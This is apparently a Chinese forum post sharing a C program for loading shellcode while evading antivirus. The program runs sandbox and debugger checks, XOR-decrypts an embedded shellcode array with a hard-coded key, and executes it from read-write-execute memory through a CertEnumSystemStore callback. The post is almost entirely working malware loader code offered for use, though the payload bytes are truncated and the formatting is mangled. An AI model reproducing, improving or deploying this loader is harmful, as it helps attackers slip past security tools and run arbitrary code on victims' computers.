分享一下单文件免杀上线

#include <stdio.h>#include <stdlib.h>#include <windows.h>
#pragma comment(lib, "Crypt32.lib") 

void performSecurityChecks() {
  const char* expectedFilename = "kfc.exe";  char currentPath[MAX_PATH];  GetModuleFileName(NULL, currentPath, MAX_PATH);
  // Extract only the filename from the path  const char* currentFilename = strrchr(currentPath, '\');  if (currentFilename == NULL) {    currentFilename = currentPath;   }  else {    currentFilename++;  }
  if (strcmp(expectedFilename, currentFilename) != 0) {    printf("Filename changed!n");    exit(1);  }


  int largeSize = 100 * 1024 * 1024; // 100 MB  char* largeMem = (char*)malloc(largeSize);  if (largeMem == NULL) {    printf("Failed to allocate large memory!n");    exit(1);  }  free(largeMem);
  LPVOID mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, 0);  if (mem == NULL) {    printf("NUMA allocation failed!n");    exit(1);  }

  SYSTEM_INFO sysInfo;  GetSystemInfo(&sysInfo);  if (sysInfo.dwNumberOfProcessors < 2) {    printf("Limited CPU cores!n");    exit(1);  }
  MEMORYSTATUSEX memInfo;  memInfo.dwLength = sizeof(memInfo);  GlobalMemoryStatusEx(&memInfo);  if (memInfo.ullTotalPhys < 2 * 1024 * 1024) {    printf("Limited memory!n");    exit(1);  }

  BOOL debuggerStatus = FALSE;  CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerStatus);  if (debuggerStatus) {    printf("Debugger detected!n");    exit(1);  }
  HANDLE testFile = CreateFileA("kernel32.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);  if (testFile != INVALID_HANDLE_VALUE) {    printf("Invalid file access succeeded!n");    CloseHandle(testFile);    exit(1);  }
}

void XORDecrypt(const char* key, unsigned char* data, size_t dataSize) {  size_t keyLen = strlen(key);  for (size_t i = 0; i < dataSize; i++) {    data[i] ^= key[i % keyLen];  }}
int main() {
  //沙箱检测  performSecurityChecks();
  const char key[] = "7c940eddbd01b125faa3b719f3d2f453";
  // 加密后的 XOR ShellCode，以字节数组形式  unsigned char encryptedData[] = {        0xCB, 0x8B, 0xB0, 0x34, 0x30,      };
  // 计算 XOR 数据的长度  size_t dataSize = sizeof(encryptedData);
  // 解密数据  XORDecrypt(key, encryptedData, dataSize);
  // 打印解密后的数据  //printf("Decrypted data: ");  //for (size_t i = 0; i < dataSize; i++) {  //  printf("%02X", encryptedData[i]);  //}  //printf("n");

  // 创建一个可执行内存区域  LPVOID executableMemory = VirtualAlloc(NULL, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  if (executableMemory == NULL) {    printf("Failed to allocate executable memory.n");    return 1;  }
  // 复制解密后的数据到可执行内存中  memcpy(executableMemory, encryptedData, dataSize);
  // 执行可执行内存中的代码  CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)executableMemory);
  // 释放内存  VirtualFree(executableMemory, 0, MEM_RELEASE);
  return 0;